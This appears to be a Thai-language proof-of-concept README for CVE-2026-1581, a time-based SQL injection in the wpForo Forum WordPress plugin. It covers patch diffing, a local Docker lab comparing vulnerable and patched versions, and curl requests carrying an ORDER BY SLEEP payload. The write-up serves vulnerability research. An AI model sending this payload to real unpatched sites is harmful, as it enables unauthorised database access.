5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / README.th.md MD
# CVE-2026-1581 — wpForo Forum (<= 2.4.14) Unauthenticated Time‑Based SQL Injection (ORDER BY)

[English](README.md)

---

## Executive Summary


| Field | Detail |
|---|---|
| **CVE ID** | CVE-2026-1581 |
| **Plugin** | wpForo Forum |
| **Affected Versions** | <= 2.4.14 |
| **Patched Version** | 2.4.15 |
| **Vulnerability Type** | Unauthenticated Time-Based SQL Injection (ORDER BY) |
| **CVSS Score** | 7.5 (High)  |
| **CVSS Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |

* CVE-2026-1581 เป็นช่องโหว่ Unauthenticated Time-Based SQL Injection ในปลั๊กอิน
wpForo Forum (<= 2.4.14) พารามิเตอร์ `wpfob` ถูกนำไปใช้ใน ORDER BY clause
โดยผ่านแค่ text sanitization ทำให้ผู้โจมตีที่ไม่ต้องล็อกอินสามารถยัด SQL
expression เข้าไปได้ ผลคือสามารถอ่านข้อมูลในฐานข้อมูลได้


* ทาง vendor แก้ไขในเวอร์ชั่น 2.4.15 โดยเปลี่ยนจาก `sanitize_text_field()` มาเป็น `wpforo_sanitize_orderby()` ซึ่งทำงานแบบ whitelist ตาม context

---

## Scope & Safety

* รันเฉพาะ localhost + docker compose เท่านั้น

* PoC เป็น time-based timing proof เพื่อแสดงความต่าง vuln vs patched

* ไม่แนะนำการนำไปใช้กับระบบที่ไม่ได้รับอนุญาต

---

## Evidence at a glance

* Version proof: หน้า /community/ โหลด asset /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14 (vuln) vs 2.4.15 (patched)

* Code proof: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)

* Behavior proof: wpfob=modified,(SELECT SLEEP(5)) ทำให้ vuln หน่วง ~5s แต่ patched ใกล้ baseline

---

## What I observed from the CVE advisory

* CVE advisory ระบุเพียงว่าเป็น time-based SQL injection ผ่านพารามิเตอร์ `wpfob`
และถูกแก้ไขใน 2.4.15 ซึ่ง ณ เวลาที่วิเคราะห์ยังไม่มี public PoC ออกมา

* write-up นี้จึงสร้างขึ้นจากการทำ **source code diffing** ระหว่าง 2.4.14
กับ 2.4.15 โดย trace พารามิเตอร์ตั้งแต่ HTTP input ผ่าน sanitization
จนถึงจุดที่ถูกนำไปประกอบเป็น SQL query เพื่อให้เข้าใจ root cause
และสามารถ reproduce ได้

![vulnx CVE-2026-1581](screenshots/vulnx.png)

---

## 1) Source‑code driven analysis

### 1.1 ค้นหา `wpfob`

เริ่มด้วยการ grep หา `wpfob` ใน Source Code ซึ่งพบว่าในหน้า **Recent** มันรับค่าจาก `GET` มาเป็น `orderby` โดยตรง

![find wpfob](screenshots/grep.png)

* จุดที่สังเกตสำคัญ (Recent page)

**Vulnerable (2.4.14)** — `themes/classic/recent.php`:

```text
  32 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
  74 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
```

**Patched (2.4.15)** — ไฟล์เดียวกัน แต่เปลี่ยน sanitizer:

```text
  32 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
  74 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
```

> ทำไมโฟกัสที่ `recent.php` 
> เพราะมันเป็น route ที่เรา trigger ได้และค่า `wpfob` ถูกยัดเข้า `$args['orderby']` ตรง ๆ

---

### 1.2 Dataflow ไปถึง SQL

เมื่อ `$args['orderby']` ถูก set แล้ว มันจะไหลเข้าไปยัง query builder ของ wpForo เพื่อประกอบ SQL ส่วน `ORDER BY ...`.

**ตัวอย่างจุดประกอบ ORDER BY (vuln 2.4.14)**

`classes/Topics.php` (ประกอบ ORDER BY):

 ![SQL builder: ORDER BY concatenation in Topics.php](screenshots/topics_code.png)

`classes/Posts.php` (อีกจุดที่ใช้ `$args['orderby']` ประกอบ):

![SQL builder: ORDER BY concatenation in Posts.php](screenshots/posts_code.png)

**อธิบาย**

* `sanitize_text_field()` คือทำความสะอาดถ้าแปลตรงตัว ซึ่งมันคือการ Clear String เท่านั้น ถึงอย่างนี้ยังขาดการ **whitelist** ให้เหลือเฉพาะชื่อคอลัมน์ที่อนุญาตให้ใช้
* และเมื่อ `orderby` ถูกนำไปต่อเป็น `ORDER BY <orderby>` attacker จึงสามารถใส่ **SQL expression** ในตำแหน่ง ORDER BY ได้

รายละเอียด sanitize_text_field()
* https://developer.wordpress.org/reference/functions/sanitize_text_field/

---

### 1.3 Patch / Diff highlights (2.4.14 → 2.4.15)

#### 1.3.1 Diff: `recent.php`

```diff
32c32
< 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
```

#### 1.3.2 Diff: `wpforo.php`

```diff
1036c1036
< 					$args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> 					$args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';
```

#### 1.3.3 ฟังก์ชันใหม่ที่มาแพตช์: `wpforo_sanitize_orderby()`

ใน 2.4.15 ได้เพิ่มฟังก์ชัน sanitizer ที่ทำงานในลักษณะ **whitelist ตาม context** และจะคืนค่า default ถ้าไม่อยู่ใน whitelist:

![whitelistor](screenshots/patched_function.png)

---

## 2) Lab design (Vuln vs Patched)

### 2.1 บริการใน docker compose

* `wp_vuln`  (WordPress + wpForo 2.4.14) → `http://localhost:8081`
* `wp_patched` (WordPress + wpForo 2.4.15) → `http://localhost:8082`
* `db_vuln` / `db_patched` (MariaDB)
* `seed_vuln` / `seed_patched` ใช้ `wp-cli` ทำงานด้านการติดตั้ง WordPress, ติดตั้งปลั๊กอิน, สร้างหน้า `/community/` ที่ฝัง `[wpforo]`, ตั้ง permalinks, สร้าง `.htaccess` และสร้าง artifact สำหรับตรวจสอบ

### 2.2 Route ที่ใช้ทดสอบจริง

จากการอ่านซอร์ส `wpfob` ถูกใช้ชัดเจนในหน้า **recent**

* `http://localhost:8081/community/recent/?view=opened`
* `http://localhost:8082/community/recent/?view=opened`

---

## 3) Reproduction: timing proof

ก่อนพิสูจน์ ต้องมีข้อมูลอย่างน้อย 1 topic และ 1 post

### 3.1 ทำไม “ต้องมีโพสต์ก่อน”

* ช่องโหว่เป็น **ORDER BY injection**
* ถ้าไม่มี topic และ post ใน wpForo เลย query อาจคืน 0 แถว ซึ่งจะไม่ต้อง sort บน DB ตัวโค้ด path อาจไม่ evaluate expression ใน `ORDER BY` ทำให้ **ไม่เห็น delay** จึง false negative

ดังนั้นอย่างน้อย 1 topic และ 1 post

### 3.2 Baseline timing

```bash
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
  "http://localhost:8081/community/recent/?view=opened"

curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
  "http://localhost:8082/community/recent/?view=opened"
```

![baseline](screenshots/baseline.png)

### 3.3 Attack timing

```bash
curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
  --get "http://localhost:8081/community/recent/" \
  --data-urlencode "view=opened" \
  --data-urlencode "wpfob=modified,(SELECT SLEEP(5))"

curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
  --get "http://localhost:8082/community/recent/" \
  --data-urlencode "view=opened" \
  --data-urlencode "wpfob=modified,(SELECT SLEEP(5))"
```

**Expected**

* Vuln: `attack_vuln` ≈ `baseline_vuln + ~5s`
* Patched: `attack_patched` ≈ baseline (ไม่หน่วง)

### 3.4 ผลทดสอบ

![result](screenshots/result.png)

---

# Runbook — วิธี Build Lab และ วิธีใช้ PoC (CVE-2026-1581)

## 1) วิธี Build Lab (Vuln vs Patched)

### 1.1 Prerequisites

* Docker Desktop + Docker Compose v2
* พอร์ตว่าง: `8081` (vuln), `8082` (patched)

### 1.2 ไฟล์ที่ต้องมี

* `docker-compose.yml`
* `scripts/seed-wp.sh`

### 1.3 Start lab

ที่โฟลเดอร์โปรเจกต์:

```bash
docker compose up -d
```

### 1.4 Verify

ตรวจว่าเปิดได้:

* Vuln: `http://localhost:8081/community/`
* Patched: `http://localhost:8082/community/`

และหน้า recent:

* Vuln: `http://localhost:8081/community/recent/?view=opened`
* Patched: `http://localhost:8082/community/recent/?view=opened`

![vuln home page](screenshots/wp_home.png)
![vuln community page](screenshots/wp_forum.png)
![vuln recent page](screenshots/wp_recent.png)

### 1.5 เตรียม Topics / Posts ผ่าน wp-cli + db query (ใช้ในแลปนี้เท่านั้น)

ใช้เพื่อ reproducibility และกัน false negative

```bash
# 1) check counts (vuln)
docker compose run --rm --entrypoint sh seed_vuln -lc '
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root
wp db query "SELECT COUNT(*) AS posts  FROM ${PREFIX}wpforo_posts;"  --allow-root
'

# 2) insert 1 topic and 1 post (vuln)
docker compose run --rm --entrypoint sh seed_vuln -lc '
set -eu
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
UID=$(wp user get admin --field=ID --allow-root)
FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root)

wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root
TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root)

wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root
PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root)

wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root

echo "seeded forumid=${FID} topicid=${TID} postid=${PID}"
'
```

ฝั่ง patched ให้เปลี่ยน seed_vuln เป็น seed_patched

---

## 2) วิธีใช้ PoC

### 2.1 ติดตั้ง dependency ของ PoC

แนะนำใช้ venv:

```bash
python3 -m venv .venv
source .venv/bin/activate
pip3 install -U pip
pip3 install -r requirements.txt
```

### 2.2 รัน PoC

```bash
# vuln
python3 poc.py http://localhost:8081

# patched
python3 poc.py http://localhost:8082
```

### 2.3 POC output

![POC](screenshots/poc_output.png)

---

## 3) Cleanup Project

```bash
docker compose down -v
```

---

## References
* NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-1581
* Wordfence : https://www.wordfence.com/threat-intel/vulnerabilities/id/4c447dbb-f8fb-4b46-9c47-20ab7330bbaa?source=cve